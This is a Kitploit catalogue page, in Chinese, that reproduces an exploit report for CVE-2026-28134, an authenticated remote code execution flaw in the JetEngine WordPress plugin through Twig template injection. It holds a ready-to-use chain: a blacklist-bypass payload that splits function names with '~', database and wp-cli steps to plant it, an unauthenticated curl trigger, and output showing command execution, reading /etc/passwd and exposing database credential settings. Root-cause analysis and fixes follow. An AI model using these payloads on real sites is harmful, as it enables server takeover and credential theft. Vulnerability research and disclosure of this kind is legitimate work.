Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - 已认证(投稿者及以上)远程代码执行 | Kitploit
工具/GitHubGitHub/randomrobbiebf/cve-2026-28134
漏洞分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - 已认证(投稿者及以上)远程代码执行

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-28134 漏洞利用报告

JetEngine <= 3.7.2 — 通过 Twig SSTI 实现已认证(Contributor+)远程代码执行

日期: 2026 年 3 月 11 日 CVSS 评分: 8.8(高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 受影响插件: JetEngine <= 3.7.2 插件 Slug: jet-engine CVE: CVE-2026-28134 状态: 私有 测试的 WordPress 版本: 最新版


执行摘要

CVE-2026-28134 是 JetEngine WordPress 插件中的一个 远程代码执行 漏洞,影响 3.7.2 及更早的所有版本。该漏洞允许具有 Contributor 级及以上 访问权限的已认证攻击者,通过向 JetEngine Listing 文章注入恶意 Twig 模板,在服务器上执行任意操作系统命令。

攻击链由三个弱点组成:

  1. 一个未认证的 AJAX 分发器,无需 nonce 或权限检查即可渲染 Listing 文章模板。
  2. 一个无沙箱的 Twig/Timber 渲染引擎——仅有基于字符串的黑名单过滤器。
  3. 通过 Twig 的 ~ 字符串拼接运算符将受限函数名拆分到多个 token 中,从而绕过过滤器。

✅ 漏洞已确认 — 实现完整 RCE

已确认的影响:

  • 以 www-data 身份执行任意操作系统命令
  • 完整文件系统读取权限(/etc/passwd、wp-config.php)
  • 数据库凭据泄露

漏洞详情

技术摘要

JetEngine 提供了一种基于 Twig/Timber 的 Listing 视图类型。当启用了 timber_views 组件时,_listing_type = twig 的 Listing 文章的 _jet_engine_listing_html 文章 meta 会通过 Timber 作为实时 Twig 模板进行渲染。该渲染流程可通过未认证的 wp_ajax_nopriv_jet_engine_ajax AJAX 操作触达,攻击者只需能够创建或修改 JetEngine Listing 文章(最低 Contributor 角色)即可。

受影响组件


漏洞利用链

步骤 1 — 未认证的 AJAX 分发器

ajax-handlers.php 为已认证和未认证用户注册了 AJAX 操作:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

该处理器会基于 $_REQUEST['handler'] 分发到类中的任何公共方法,且不进行 nonce 或权限检查:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

调用 listing_load_more 是公开可访问的,并会触发 Listing 渲染流程。

步骤 2 — Twig 渲染流程

listing_load_more → get_listing → frontend->get_listing_item 调用链会到达:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

当 $listing_view = 'twig' 时,会触发 Jet_Engine\Timber_Views\Render::get_listing_content(),从文章的 _jet_engine_listing_html meta 字段中读取 Twig 模板,并直接传递给 render_html():

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig 在无沙箱环境下渲染。唯一的保护是 sanitize_twig_content()。

步骤 3 — 通过字符串拼接绕过过滤器

sanitize_twig_content() 使用单词边界正则模式删除危险的 PHP 函数名,然后检查模板是否被修改:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

模式 \bsystem\b 匹配字面 token system。它不会匹配 "sys" ~ "tem",因为它们是两个独立的带引号字符串 token。Twig 在渲染时计算拼接结果,仅在内存中产生 "system"——源模板中从不包含被阻止的单词。

绕过 payload:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

过滤器看到的是 fn、"sys"、~、"tem"、"id"——它们都不在黑名单中。因此该模板原样通过。

步骤 4 — 通过 Timber 的 fn() 辅助函数执行代码

Timber 直接在 Twig 环境中注册 PHP 可调用包装器:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} 将解析为 call_user_func_array("system", ["id"]) — 任意操作系统命令执行。


概念验证(PoC)

前提条件

  1. 攻击者拥有 Contributor 级或更高 WordPress 访问权限。
  2. 已启用 JetEngine timber_views 组件(JetEngine 设置 > 性能 > Timber/Twig Views)。
  3. 已安装并激活 Timber library 插件。

设置

创建一个 JetEngine Listing 文章,并将恶意 Twig 模板存储到文章 meta 中:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

或者通过 wp-cli(以 Contributor 用户身份执行):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

触发(未认证)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

结果

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

权限提升 — 文件读取

被阻止的字符串 passthru 拆分为 "pas" ~ "sthru":

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

模板设置为 {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

权限提升 — 凭据泄露

模板 {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

根因分析

原因 1 — AJAX 操作缺少身份认证

wp_ajax_nopriv_jet_engine_ajax 会为未认证请求触发。handle_ajax() 分发器在调用 listing_load_more 之前不执行 nonce 验证,也不进行权限检查。因此,一旦存在恶意 listing,任何未认证用户都可以触达渲染流程。

原因 2 — 没有 Twig 沙箱

Twig 官方沙箱扩展(\Twig\Sandbox\SecurityPolicy)在引擎级别强制使用白名单——无法调用未明确允许的函数。JetEngine 使用 createTemplate() 且没有沙箱。唯一的保护是渲染前的字符串扫描,极易被绕过。

原因 3 — 正则黑名单不足

黑名单方法(/\bsystem\b/i)作用于静态模板源文本。Twig 的 ~ 拼接运算符在运行时构建字符串。任何被阻止的名称都可以被拆分:"pass" ~ "thru"、"she" ~ "ll_exec"、"sys" ~ "tem" 等。正确的沙箱无论函数名如何构造都会拒绝该调用。

原因 4 — Timber 暴露了 call_user_func_array

Timber 的 fn() 和 function() Twig 辅助函数是无条件通向 PHP call_user_func_array 的桥梁。没有可调用函数的白名单。Web 进程可达的任何 PHP 函数都可以被调用。


修复建议


时间线

日期事件
2026-03-11发现漏洞并通过完整 RCE PoC 确认
2026-03-11报告草拟完成

参考资料

  • JetEngine 插件 — Crocoblock
  • Timber/Twig WordPress 库
  • Twig 沙箱扩展
  • OWASP — 服务端模板注入
下载工具
文件问题
includes/components/listings/ajax-handlers.php:29注册 wp_ajax_nopriv_jet_engine_ajax — 无认证或 nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — 任意公共方法分发
includes/components/timber-views/timber.php:150render_html() 在无沙箱情况下渲染攻击者可控的 Twig 模板
includes/components/timber-views/timber.php:189sanitize_twig_content() — 字符串正则黑名单,可通过 token 拆分绕过
timber-library/lib/Twig.php:42-43Timber 注册 fn()/function() 作为 call_user_func_array 的 Twig 包装器
修复措施说明
为 handle_ajax() 添加 nonce 和权限检查要求所有 AJAX 分发具备 edit_posts 权限和有效的 nonce
启用 Twig 沙箱用 \Twig\Sandbox\SecurityPolicy 替换字符串黑名单——明确允许安全函数和属性
限制 Timber fn() 辅助函数对可调用函数名进行白名单管理,或从 Twig 环境中移除 fn()/function(),以用于不受信任的模板
验证 listing 的所有权在渲染模板前,确认请求用户对 listing 具有 edit_post 权限